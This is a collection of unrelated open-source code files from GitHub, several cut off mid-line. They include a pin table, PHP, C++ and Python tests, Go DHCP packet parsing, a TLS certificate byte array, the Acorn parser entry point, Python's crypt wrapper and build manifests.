PINCTRL_PIN(21, "ISH_GP_3"),
PINCTRL_PIN(22, "ISH_GP_4"),
PINCTRL_PIN(23, "ISH_GP_5"),
/* GPP_B */
PINCTRL_PIN(24, "CORE_VID_0"),
PINCTRL_PIN(25, "CORE_VID_1"),
PINCTRL_PIN(26, "VRALERTB"),
PINCTRL_PIN(27, "CPU_GP_2"),
PINCTRL_PIN(28, "CPU_GP_3"),
PINCTRL_PIN(29, "SRCCLKREQB_0"),
PINCTRL_PIN(30, "SRCCLKREQB_1"),
PINCTRL_PIN(31, "SRCCLKREQB_2"),
PINCTRL_PIN(32, "SRCCLKREQB_3"),
PINCTRL_PIN(33, "SRCCLKREQB_4"),
PINCTRL_PIN(34, "SRCCLKREQB_5"),
PINCTRL_PIN(35, "EXT_PWR_GATEB"),
PINCTRL_PIN(36, "SLP_S0B"),
PINCTRL_PIN(37, "PLTRSTB"),
PINCTRL_PIN(38, "SPKR"),
PINCTRL_PIN(39, "GSPI0_CSB"),
PINCTRL_PIN(40, "GSPI0_CLK"),
PINCTRL_PIN(41, "GSPI0_MISO"),
PINCTRL_PIN(42, "GSPI0_MOSI"),
PINCTRL_PIN(43, "GSPI1_CSB"),
PINCTRL_PIN(44, "GSPI1_CLK"),
PINCTRL_PIN(45, "GSPI1_MISO"),
PINCTRL_PIN(46, "GSPI1_MOSI"),
PINCTRL_PIN(47, "SML1ALERTB"),
/* GPP_C */
PINCTRL_PIN(48, "SMBCLK"),
PINCTRL_PIN(49, "SMBDATA"),
PINCTRL_PIN(50, "SMBALERTB"),
PINCTRL_PIN(51, "SML0CLK"),
PINCTRL_PIN(52, "SML0DATA"),
PINCTRL_PIN(53, "SML0ALERTB"),
PINCTRL_PIN(54, "SML1CLK"),
PINCTRL_PIN(55, "SML1DATA"),
PINCTRL_PIN(56, "UART0_RXD"),
PINCTRL_PIN(57, "UART0_TXD"),
PINCTRL_PIN(58, "UART0_RTSB"),
PINCTRL_PIN(59, "UART0_CTSB"),
PINCTRL_PIN(60, "UART1_RXD"),
PINCTRL_PIN(61, "UART1_TXD"),
PINCTRL_PIN(62, "UART1_RTSB"),
PINCTRL_PIN(63, "UART1_CTSB"),
PINCTRL_PIN(64, "I2C0_SDA"),
PINCTRL_PIN(65, "I2C0_SCL"),
PINCTRL_PIN(66, "I2C1_SDA"),
PINCTRL_PIN(67, "I2C1_SCL"),
PINCTRL_PIN(68, "UART2_RXD"),
PINCTRL_PIN(69, "UART2_TXD"),
PINCTRL_PIN(70, "UART2_RTSB"),
PINCTRL_PIN(71, "UART2_CTSB"),
/* GPP_D */
PINCTRL_PIN(72, "SPI1_CSB"),
PINCTRL_PIN(73, "SPI1_CLK"),
PINCTRL_PIN(74, "SPI1_MISO_IO_1"),
PINCTRL_PIN(75, "SPI1_MOSI_IO_0"),
PINCTRL_PIN(76, "FLASHTRIG"),
PINCTRL_PIN(77, "ISH_I2C0_SDA"),
PINCTRL_PIN(78, "ISH_I2C0_SCL"),
PINCTRL_PIN(79, "ISH_I2C1_SDA"),
PINCTRL_PIN(80, "ISH_I2C1_SCL"),
PINCTRL_PIN(81, "ISH_SPI_CSB"),
PINCTRL_PIN(82, "ISH_SPI_CLK"),
PINCTRL_PIN(83, "ISH_SPI_MISO"),
PINCTRL_PIN(84, "ISH_SPI_MOSI"),
PINCTRL_PIN(85, "ISH_UART0_RXD"),
PINCTRL_PIN(86, "ISH_UART0_TXD"),
PINCTRL_PIN(87, "ISH_UART0_RTSB"),
PINCTRL_PIN(88, "ISH_UART0_CTSB"),
PINCTRL_PIN(89, "DMIC_CLK_1"),
PINCTRL_PIN(90, "DMIC_DATA_1"),
PINCTRL_PIN(91, "DMIC_CLK_0"),
PINCTRL_PIN(92, "DMIC_DATA_0"),
PINCTRL_PIN(93, "SPI1_IO_2"),
PINCTRL_PIN(
|
{
"pile_set_name": "Github"
}
| null | null |
--TEST--
phpunit EmptyTestCaseTest ../_files/EmptyTestCaseTest.php
--FILE--
<?php
$_SERVER['argv'][1] = '--no-configuration';
$_SERVER['argv'][2] = 'EmptyTestCaseTest';
$_SERVER['argv'][3] = dirname(dirname(__FILE__)) . '/_files/EmptyTestCaseTest.php';
require __DIR__ . '/../bootstrap.php';
PHPUnit_TextUI_Command::main();
?>
--EXPECTF--
PHPUnit %s by Sebastian Bergmann and contributors.
F
Time: %s, Memory: %s
There was 1 failure:
1) Warning
No tests found in class "EmptyTestCaseTest".
FAILURES!
Tests: 1, Assertions: 0, Failures: 1.
|
{
"pile_set_name": "Github"
}
| null | null |
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
</module>
|
{
"pile_set_name": "Github"
}
| null | null |
#!/bin/sh
node server.js &
#node server.js &
#node server.js &
#node server.js &
node --debug pub.js
|
{
"pile_set_name": "Github"
}
| null | null |
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// <iterator>
// move_iterator
// template <class U>
// requires HasAssign<Iter, const U&>
// move_iterator&
// operator=(const move_iterator<U>& u);
// test requires
#include <iterator>
template <class It, class U>
void
test(U u)
{
const std::move_iterator<U> r2(u);
std::move_iterator<It> r1;
r1 = r2;
}
struct base {};
struct derived {};
int main()
{
derived d;
test<base*>(&d);
}
|
{
"pile_set_name": "Github"
}
| null | null |
<?php
namespace OSS\Tests;
use OSS\Http\ResponseCore;
use OSS\Core\OssException;
use OSS\Model\LifecycleConfig;
use OSS\Result\GetLifecycleResult;
class GetLifecycleResultTest extends \PHPUnit_Framework_TestCase
{
private $validXml = <<<BBBB
<?xml version="1.0" encoding="utf-8"?>
<LifecycleConfiguration>
<Rule>
<ID>delete obsoleted files</ID>
<Prefix>obsoleted/</Prefix>
<Status>Enabled</Status>
<Expiration><Days>3</Days></Expiration>
</Rule>
<Rule>
<ID>delete temporary files</ID>
<Prefix>temporary/</Prefix>
<Status>Enabled</Status>
<Expiration><Date>2022-10-12T00:00:00.000Z</Date></Expiration>
<Expiration2><Date>2022-10-12T00:00:00.000Z</Date></Expiration2>
</Rule>
</LifecycleConfiguration>
BBBB;
public function testParseValidXml()
{
$response = new ResponseCore(array(), $this->validXml, 200);
$result = new GetLifecycleResult($response);
$this->assertTrue($result->isOK());
$this->assertNotNull($result->getData());
$this->assertNotNull($result->getRawResponse());
$lifecycleConfig = $result->getData();
$this->assertEquals($this->cleanXml($this->validXml), $this->cleanXml($lifecycleConfig->serializeToXml()));
}
private function cleanXml($xml)
{
return str_replace("\n", "", str_replace("\r", "", $xml));
}
public function testInvalidResponse()
{
$response = new ResponseCore(array(), $this->validXml, 300);
try {
new GetLifecycleResult($response);
$this->assertTrue(false);
} catch (OssException $e) {
}
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
// Copyright 2016 Google, Inc. All rights reserved.
//
// Use of this source code is governed by a BSD-style license
// that can be found in the LICENSE file in the root of the source
// tree.
package layers
import (
"bytes"
"encoding/binary"
"fmt"
"net"
"github.com/google/gopacket"
)
// DHCPOp rerprents a bootp operation
type DHCPOp byte
// bootp operations
const (
DHCPOpRequest DHCPOp = 1
DHCPOpReply DHCPOp = 2
)
// String returns a string version of a DHCPOp.
func (o DHCPOp) String() string {
switch o {
case DHCPOpRequest:
return "Request"
case DHCPOpReply:
return "Reply"
default:
return "Unknown"
}
}
// DHCPMsgType represents a DHCP operation
type DHCPMsgType byte
// Constants that represent DHCP operations
const (
DHCPMsgTypeUnspecified DHCPMsgType = iota
DHCPMsgTypeDiscover
DHCPMsgTypeOffer
DHCPMsgTypeRequest
DHCPMsgTypeDecline
DHCPMsgTypeAck
DHCPMsgTypeNak
DHCPMsgTypeRelease
DHCPMsgTypeInform
)
// String returns a string version of a DHCPMsgType.
func (o DHCPMsgType) String() string {
switch o {
case DHCPMsgTypeUnspecified:
return "Unspecified"
case DHCPMsgTypeDiscover:
return "Discover"
case DHCPMsgTypeOffer:
return "Offer"
case DHCPMsgTypeRequest:
return "Request"
case DHCPMsgTypeDecline:
return "Decline"
case DHCPMsgTypeAck:
return "Ack"
case DHCPMsgTypeNak:
return "Nak"
case DHCPMsgTypeRelease:
return "Release"
case DHCPMsgTypeInform:
return "Inform"
default:
return "Unknown"
}
}
//DHCPMagic is the RFC 2131 "magic cooke" for DHCP.
var DHCPMagic uint32 = 0x63825363
// DHCPv4 contains data for a single DHCP packet.
type DHCPv4 struct {
BaseLayer
Operation DHCPOp
HardwareType LinkType
HardwareLen uint8
HardwareOpts uint8
Xid uint32
Secs uint16
Flags uint16
ClientIP net.IP
YourClientIP net.IP
NextServerIP net.IP
RelayAgentIP net.IP
ClientHWAddr net.HardwareAddr
ServerName []byte
File []byte
Options DHCPOptions
}
// DHCPOptions is used to get nicely printed option lists which would normally
// be cut off after 5 options.
type DHCPOptions []DHCPOption
// String returns a string version of the options list.
func (o DHCPOptions) String() string {
buf := &bytes.Buffer{}
buf.WriteByte('[')
for i, opt := range o {
buf.WriteString(opt.String())
if i+1 != len(o) {
buf.WriteString(", ")
}
}
buf.WriteByte(']')
return buf.String()
}
// LayerType returns gopacket.LayerTypeDHCPv4
func (d *DHCPv4) LayerType() gopacket.LayerType { return LayerTypeDHCPv4 }
// DecodeFromBytes decodes the given bytes into this layer.
func (d *DHCPv4) DecodeFromBytes(data []byte, df gopacket.DecodeFeedback) error {
if len(data) < 240 {
df.SetTruncated()
return fmt.Errorf("DHCPv4 length %d too short", len(data))
}
d.Options = d.Options[:0]
d.Operation = DHCPOp(data[0])
d.HardwareType = LinkType(data[1])
d.HardwareLen = data[2]
d.HardwareOpts = data[3]
d.Xid = binary.BigEndian.Uint32(data[4:8])
d.Secs = binary.BigEndian.Uint16(data[8:10])
d.Flags = binary.BigEndian.Uint16(data[10:12])
d.ClientIP = net.IP(data[12:16])
d.YourClientIP = net.IP(data[16:20])
d.NextServerIP = net.IP(data[20:24])
d.RelayAgentIP = net.IP(data[24:28])
d.ClientHWAddr = net.HardwareAddr(data[28 : 28+d.HardwareLen])
d.ServerName = data[44:108]
d.File = data[108:236]
if binary.BigEndian.Uint32(data[236:240]) != DHCPMagic {
return InvalidMagicCookie
}
if len(data) <= 240 {
// DHCP Packet could have no option (??)
return nil
}
options := data[240:]
stop := len(options)
start := 0
for start < stop {
o := DHCPOption{}
if err := o.decode(options[start:]); err != nil {
return err
}
if o.Type == DHCPOptEnd {
break
}
d.Options = append(d.Options, o)
// Check if the option is a single byte pad
if o.Type == DHCPOptPad {
start++
} else {
start += int(o.Length) + 2
}
}
d.Contents = data
return nil
}
// Len returns the length of a DHCPv4 packet.
func (d *DHCPv4) Len() uint16 {
n := uint16(240)
for _, o := range d.Options {
if o.Type == DHCPOptPad {
n++
} else {
n += uint16(o.Length) + 2
}
}
n++ // for opt end
return n
}
// SerializeTo writes the serialized form of this layer into the
// SerializationBuffer, implementing gopacket.SerializableLayer.
// See the docs for gopacket.SerializableLayer for more info.
func (d *DHCPv4) SerializeTo(b gopacket.SerializeBuffer, opts gopacket.SerializeOptions) error {
plen := int(d.Len())
data, err := b.PrependBytes(plen)
if err != nil {
return err
}
data[0] = byte(d.Operation)
data[1] = byte(d.HardwareType)
if opts.FixLengths {
d.HardwareLen = uint8(len(d.ClientHWAddr))
}
data[2] = d.HardwareLen
data[3] = d.HardwareOpts
binary.BigEndian.PutUint32(data[4:8], d.Xid)
binary.BigEndian.PutUint16(data[8:10], d.Secs)
binary.BigEndian.PutUint16(data[10:12], d.Flags)
copy(data[12:16], d.ClientIP.To4())
copy(data[16:20], d.YourClientIP.To4())
copy(data[20:24], d.NextServerIP.To4())
copy(data[24:28], d.RelayAgentIP.To4())
copy(data[28:44], d.ClientHWAddr)
copy(data[44:108], d.ServerName)
copy(data[108:236], d.File)
binary.BigEndian.PutUint32(data[236:240], DHCPMagic)
if len(d.Options) > 0 {
offset := 240
for _, o := range d.Options {
if err := o.encode(data[offset:]); err != nil {
return err
}
// A pad option is only a single byte
if o.Type
|
{
"pile_set_name": "Github"
}
| null | null |
/*****************************************************************
|
| Neptune - Trust Anchors
|
| This file is automatically generated by a script, do not edit!
|
| Copyright (c) 2002-2010, Axiomatic Systems, LLC.
| All rights reserved.
|
| Redistribution and use in source and binary forms, with or without
| modification, are permitted provided that the following conditions are met:
| * Redistributions of source code must retain the above copyright
| notice, this list of conditions and the following disclaimer.
| * Redistributions in binary form must reproduce the above copyright
| notice, this list of conditions and the following disclaimer in the
| documentation and/or other materials provided with the distribution.
| * Neither the name of Axiomatic Systems nor the
| names of its contributors may be used to endorse or promote products
| derived from this software without specific prior written permission.
|
| THIS SOFTWARE IS PROVIDED BY AXIOMATIC SYSTEMS ''AS IS'' AND ANY
| EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
| WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
| DISCLAIMED. IN NO EVENT SHALL AXIOMATIC SYSTEMS BE LIABLE FOR ANY
| DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
| (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
| LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
| ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
| (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
| SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
****************************************************************/
/* SwissSign Gold CA - G2 */
const unsigned char NptTlsTrustAnchor_Base_0109_Data[1470] = {
0x30,0x82,0x05,0xba,0x30,0x82,0x03,0xa2
,0xa0,0x03,0x02,0x01,0x02,0x02,0x09,0x00
,0xbb,0x40,0x1c,0x43,0xf5,0x5e,0x4f,0xb0
,0x30,0x0d,0x06,0x09,0x2a,0x86,0x48,0x86
,0xf7,0x0d,0x01,0x01,0x05,0x05,0x00,0x30
,0x45,0x31,0x0b,0x30,0x09,0x06,0x03,0x55
,0x04,0x06,0x13,0x02,0x43,0x48,0x31,0x15
,0x30,0x13,0x06,0x03,0x55,0x04,0x0a,0x13
,0x0c,0x53,0x77,0x69,0x73,0x73,0x53,0x69
,0x67,0x6e,0x20,0x41,0x47,0x31,0x1f,0x30
,0x1d,0x06,0x03,0x55,0x04,0x03,0x13,0x16
,0x53,0x77,0x69,0x73,0x73,0x53,0x69,0x67
,0x6e,0x20,0x47,0x6f,0x6c,0x64,0x20,0x43
,0x41,0x20,0x2d,0x20,0x47,0x32,0x30,0x1e
,0x17,0x0d,0x30,0x36,0x31,0x30,0x32,0x35
,0x30,0x38,0x33,0x30,0x33,0x35,0x5a,0x17
,0x0d,0x33,0x36,0x31,0x30,0x32,0x35,0x30
,0x38,0x33,0x30,0x33,0x35,0x5a,0x30,0x45
,0x31,0x0b,0x30,0x09,0x06,0x03,0x55,0x04
,0x06,0x13,0x02,0x43,0x48,0x31,0x15,0x30
,0x13,0x06,0x03,0x55,0x04,0x0a,0x13,0x0c
,0x53,0x77,0x69,0x73,0x73,0x53,0x69,0x67
,0x6e,0x20,0x41,0x47,0x31,0x1f,0x30,0x1d
,0x06,0x03,0x55,0x04,0x03,0x13,0x16,0x53
,0x77,0x69,0x73,0x73,0x53,0x69,0x67,0x6e
,0x20,0x47,0x6f,0x6c,0x64,0x20,0x43,0x41
,0x20,0x2d,0x20,0x47,0x32,0x30,0x82,0x02
,0x22,0x30,0x0d,0x06,0x09,0x2a,0x86,0x48
,0x86,0xf7,0x0d,0x01,0x01,0x01,0x05,0x00
,0x03,0x82,0x02,0x0f,0x00,0x30,0x82,0x02
,0x0a,0x02,0x82,0x02,0x01,0x00,0xaf,0xe4
,0xee,0x7e,0x8b,0x24,0x0e,0x12,0x6e,0xa9
,0x50,0x2d,0x16,0x44,0x3b,0x92,0x92,0x5c
,0xca,0xb8,0x5d,0x84,0x92,0x42,0x13,0x2a
,0xbc,0x65,0x57,0x82,0x40,0x3e,0x57,0x24
,0xcd,0x50,0x8b,0x25,0x2a,0xb7,0x6f,0xfc
,0xef,0xa2,0xd0,0xc0,0x1f,0x02,0x24,0x4a
,0x13,0x96,0x8f,0x23,0x13,0xe6,0x28,0x58
,0x00,0xa3,0x47,0xc7,0x06,0xa7,0x84,0x23
,0x2b,0xbb,0xbd,0x96,0x2b,0x7f,0x55,0xcc
,0x8b,0xc1,0x57,0x1f,0x0e,0x62,0x65,0x0f
,0xdd,0x3d,0x56,0x8a,0x73,0xda,0xae,0x7e
,0x6d,0xba,0x81,0x1c,0x7e,0x42,0x8c,0x20
,0x35,0xd9,0x43,0x4d,0x84,0xfa,0x84,0xdb
,0x52,0x2c,0xf3,0x0e,0x27,0x77,0x0b,0x6b
,0xbf,0x11,0x2f,0x72,0x78,0x9f,0x2e,0xd8
,0x3e,0xe6,0x18,0x37,0x5a,0x2a,0x72,0xf9
|
{
"pile_set_name": "Github"
}
| null | null |
// Acorn is a tiny, fast JavaScript parser written in JavaScript.
//
// Acorn was written by Marijn Haverbeke, Ingvar Stepanyan, and
// various contributors and released under an MIT license.
//
// Git repositories for Acorn are available at
//
// http://marijnhaverbeke.nl/git/acorn
// https://github.com/ternjs/acorn.git
//
// Please use the [github bug tracker][ghbt] to report issues.
//
// [ghbt]: https://github.com/ternjs/acorn/issues
//
// This file defines the main parser interface. The library also comes
// with a [error-tolerant parser][dammit] and an
// [abstract syntax tree walker][walk], defined in other files.
//
// [dammit]: acorn_loose.js
// [walk]: util/walk.js
import {Parser} from "./state"
import "./parseutil"
import "./statement"
import "./lval"
import "./expression"
import "./location"
export {Parser, plugins} from "./state"
export {defaultOptions} from "./options"
export {Position, SourceLocation, getLineInfo} from "./locutil"
export {Node} from "./node"
export {TokenType, types as tokTypes} from "./tokentype"
export {TokContext, types as tokContexts} from "./tokencontext"
export {isIdentifierChar, isIdentifierStart} from "./identifier"
export {Token} from "./tokenize"
export {isNewLine, lineBreak, lineBreakG} from "./whitespace"
export const version = "2.7.0"
// The main exported interface (under `self.acorn` when in the
// browser) is a `parse` function that takes a code string and
// returns an abstract syntax tree as specified by [Mozilla parser
// API][api].
//
// [api]: https://developer.mozilla.org/en-US/docs/SpiderMonkey/Parser_API
export function parse(input, options) {
return new Parser(options, input).parse()
}
// This function tries to parse a single expression at a given
// offset in a string. Useful for parsing mixed-language formats
// that embed JavaScript expressions.
export function parseExpressionAt(input, pos, options) {
let p = new Parser(options, input, pos)
p.nextToken()
return p.parseExpression()
}
// Acorn is organized as a tokenizer and a recursive-descent parser.
// The `tokenizer` export provides an interface to the tokenizer.
export function tokenizer(input, options) {
return new Parser(options, input)
}
|
{
"pile_set_name": "Github"
}
| null | null |
using System;
using JetBrains.Annotations;
// ReSharper disable once CheckNamespace
namespace BenchmarkDotNet.Horology
{
/// <summary>
/// <see cref="IClock"/> implementation over QueryThreadCycleTime().
/// WARNING: results are inaccurate (up to +/- 30% to actual time),
/// see https://blogs.msdn.microsoft.com/oldnewthing/20160429-00/?p=93385 for more.
/// </summary>
/// <seealso cref="IClock"/>
[PublicAPI]
public sealed class ThreadCycleTimeClock : IClock
{
#region Static members
private static readonly bool _isAvailable;
private static readonly long _frequency;
static ThreadCycleTimeClock() =>
_isAvailable = CycleClockHelpers.EstimateThreadCycleTimeFrequency(
Chronometer.BestClock,
1000 * 1000, out _frequency);
/// <summary>Default instance of <see cref="ThreadCycleTimeClock"/>.</summary>
public static readonly IClock Instance = new ThreadCycleTimeClock();
#endregion
/// <summary>Gets a value indicating whether this instance is available.</summary>
/// <value>
/// <c>true</c> if this instance is available; otherwise, <c>false</c>.
/// </value>
public bool IsAvailable => _isAvailable;
/// <summary>Gets the frequency.</summary>
/// <value>The frequency.</value>
public Frequency Frequency => new Frequency(_frequency);
/// <summary>Gets the timestamp.</summary>
/// <returns></returns>
public long GetTimestamp() =>
CycleClockHelpers.GetCurrentThreadTimestamp();
/// <summary>
/// Returns a <see cref="string"/> that represents this instance.
/// </summary>
/// <returns>
/// A <see cref="string"/> that represents this instance.
/// </returns>
public override string ToString() => GetType().Name;
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
"""Wrapper to the POSIX crypt library call and associated functionality."""
import _crypt
import string as _string
from random import SystemRandom as _SystemRandom
from collections import namedtuple as _namedtuple
_saltchars = _string.ascii_letters + _string.digits + './'
_sr = _SystemRandom()
class _Method(_namedtuple('_Method', 'name ident salt_chars total_size')):
"""Class representing a salt method per the Modular Crypt Format or the
legacy 2-character crypt method."""
def __repr__(self):
return '<crypt.METHOD_{}>'.format(self.name)
def mksalt(method=None):
"""Generate a salt for the specified method.
If not specified, the strongest available method will be used.
"""
if method is None:
method = methods[0]
s = '${}$'.format(method.ident) if method.ident else ''
s += ''.join(_sr.choice(_saltchars) for char in range(method.salt_chars))
return s
def crypt(word, salt=None):
"""Return a string representing the one-way hash of a password, with a salt
prepended.
If ``salt`` is not specified or is ``None``, the strongest
available method will be selected and a salt generated. Otherwise,
``salt`` may be one of the ``crypt.METHOD_*`` values, or a string as
returned by ``crypt.mksalt()``.
"""
if salt is None or isinstance(salt, _Method):
salt = mksalt(salt)
return _crypt.crypt(word, salt)
# available salting/crypto methods
METHOD_CRYPT = _Method('CRYPT', None, 2, 13)
METHOD_MD5 = _Method('MD5', '1', 8, 34)
METHOD_SHA256 = _Method('SHA256', '5', 16, 63)
METHOD_SHA512 = _Method('SHA512', '6', 16, 106)
methods = []
for _method in (METHOD_SHA512, METHOD_SHA256, METHOD_MD5):
_result = crypt('', _method)
if _result and len(_result) == _method.total_size:
methods.append(_method)
methods.append(METHOD_CRYPT)
del _result, _method
|
{
"pile_set_name": "Github"
}
| null | null |
/* Copyright (C) 2002 Jean-Marc Valin
File: exc_10_16_table.c
Codebook for excitation in narrowband CELP mode (3200 bps)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Xiph.org Foundation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
const signed char exc_10_16_table[160] = {
22,39,14,44,11,35,-2,23,-4,6,
46,-28,13,-27,-23,12,4,20,-5,9,
37,-18,-23,23,0,9,-6,-20,4,-1,
-17,-5,-4,17,0,1,9,-2,1,2,
2,-12,8,-25,39,15,9,16,-55,-11,
9,11,5,10,-2,-60,8,13,-6,11,
-16,27,-47,-12,11,1,16,-7,9,-3,
-29,9,-14,25,-19,34,36,12,40,-10,
-3,-24,-14,-37,-21,-35,-2,-36,3,-6,
67,28,6,-17,-3,-12,-16,-15,-17,-7,
-59,-36,-13,1,7,1,2,10,2,11,
13,10,8,-2,7,3,5,4,2,2,
-3,-8,4,-5,6,7,-42,15,35,-2,
-46,38,28,-20,-9,1,7,-3,0,-2,
0,0,0,0,0,0,0,0,0,0,
-15,-28,52,32,5,-5,-17,-20,-10,-1};
|
{
"pile_set_name": "Github"
}
| null | null |
#pragma once
#include <pybind11/pybind11.h>
#include <torch/csrc/python_headers.h>
namespace py = pybind11;
namespace c10 {
namespace ivalue {
// concrete ivalue Holder that hold a py::object
struct C10_EXPORT ConcretePyObjectHolder final : PyObjectHolder {
public:
static c10::intrusive_ptr<PyObjectHolder> create(py::object py_obj) {
return c10::make_intrusive<ConcretePyObjectHolder>(std::move(py_obj));
}
static c10::intrusive_ptr<PyObjectHolder> create(const py::handle& handle) {
py::gil_scoped_acquire ag;
return c10::make_intrusive<ConcretePyObjectHolder>(
handle.cast<py::object>());
}
PyObject* getPyObject() override {
return py_obj_.ptr();
}
// Note [Destructing py::object]
// ~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// (1) Why py_obj_ = py::none(); does not work. Because we also need to
// acquire GIL when destructing py::object of None that de-references None.
// https://docs.python.org/3/c-api/none.html#c.Py_RETURN_NONE
//
// https://stackoverflow.com/questions/15287590/why-should-py-increfpy-none-be-required-before-returning-py-none-in-c
//
// (2) Why we need to call dec_ref() explicitly. Because py::object of
// nullptr, on destruction, effectively does nothing because of it calls
// Py_XDECREF(NULL) underlying.
// https://docs.python.org/3/c-api/refcounting.html#c.Py_XDECREF
~ConcretePyObjectHolder() {
pybind11::gil_scoped_acquire ag;
py_obj_.dec_ref();
// explicitly setting PyObject* to nullptr to prevent py::object's dtor to
// decref on the PyObject again.
py_obj_.ptr() = nullptr;
}
// explicit construction to avoid errornous implicit conversion and
// copy-initialization
explicit ConcretePyObjectHolder(py::object py_obj)
: py_obj_(std::move(py_obj)) {}
private:
py::object py_obj_;
};
} // namespace ivalue
} // namespace c10
|
{
"pile_set_name": "Github"
}
| null | null |
[package]
name = "cmdline_example"
version = "0.1.0"
edition = "2018"
[dependencies]
makepad-live-compiler = { path = "../../render/live_compiler", version = "0.1" }
makepad-live-macros = { path = "../../render/live_macros", version = "0.2" }
|
{
"pile_set_name": "Github"
}
| null | null |
[DEFAULT]
head = head.js
support-files =
protocolHandler.html
[browser_auto_close_window.js]
run-if = e10s # test relies on e10s behavior
support-files =
download_page.html
download.bin
download.sjs
[browser_download_always_ask_preferred_app.js]
[browser_download_privatebrowsing.js]
[browser_download_open_with_internal_handler.js]
support-files =
file_pdf_application_pdf.pdf
file_pdf_application_pdf.pdf^headers^
file_pdf_application_unknown.pdf
file_pdf_application_unknown.pdf^headers^
file_pdf_binary_octet_stream.pdf
file_pdf_binary_octet_stream.pdf^headers^
file_txt_attachment_test.txt
file_txt_attachment_test.txt^headers^
file_xml_attachment_binary_octet_stream.xml
file_xml_attachment_binary_octet_stream.xml^headers^
file_xml_attachment_test.xml
file_xml_attachment_test.xml^headers^
[browser_download_urlescape.js]
support-files =
file_with@@funny_name.png
file_with@@funny_name.png^headers^
file_with[funny_name.webm
file_with[funny_name.webm^headers^
[browser_open_internal_choice_persistence.js]
support-files =
file_pdf_application_pdf.pdf
file_pdf_application_pdf.pdf^headers^
[browser_protocol_ask_dialog.js]
support-files =
file_nested_protocol_request.html
[browser_protocolhandler_loop.js]
[browser_remember_download_option.js]
[browser_web_protocol_handlers.js]
|
{
"pile_set_name": "Github"
}
| null | null |
# -*- coding: utf-8 -*-
#
# SelfTest/PublicKey/test_RSA.py: Self-test for the RSA primitive
#
# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>
#
# ===================================================================
# The contents of this file are dedicated to the public domain. To
# the extent that dedication to the public domain is not available,
# everyone is granted a worldwide, perpetual, royalty-free,
# non-exclusive license to exercise all rights associated with the
# contents of this file for any purpose whatsoever.
# No rights are reserved.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# ===================================================================
"""Self-test suite for Crypto.PublicKey.RSA"""
__revision__ = "$Id$"
import sys
import os
if sys.version_info[0] == 2 and sys.version_info[1] == 1:
from Crypto.Util.py21compat import *
from Crypto.Util.py3compat import *
import unittest
from Crypto.SelfTest.st_common import list_test_cases, a2b_hex, b2a_hex
class RSATest(unittest.TestCase):
# Test vectors from "RSA-OAEP and RSA-PSS test vectors (.zip file)"
# ftp://ftp.rsasecurity.com/pub/pkcs/pkcs-1/pkcs-1v2-1-vec.zip
# See RSADSI's PKCS#1 page at
# http://www.rsa.com/rsalabs/node.asp?id=2125
# from oaep-int.txt
# TODO: PyCrypto treats the message as starting *after* the leading "00"
# TODO: That behaviour should probably be changed in the future.
plaintext = """
eb 7a 19 ac e9 e3 00 63 50 e3 29 50 4b 45 e2
ca 82 31 0b 26 dc d8 7d 5c 68 f1 ee a8 f5 52 67
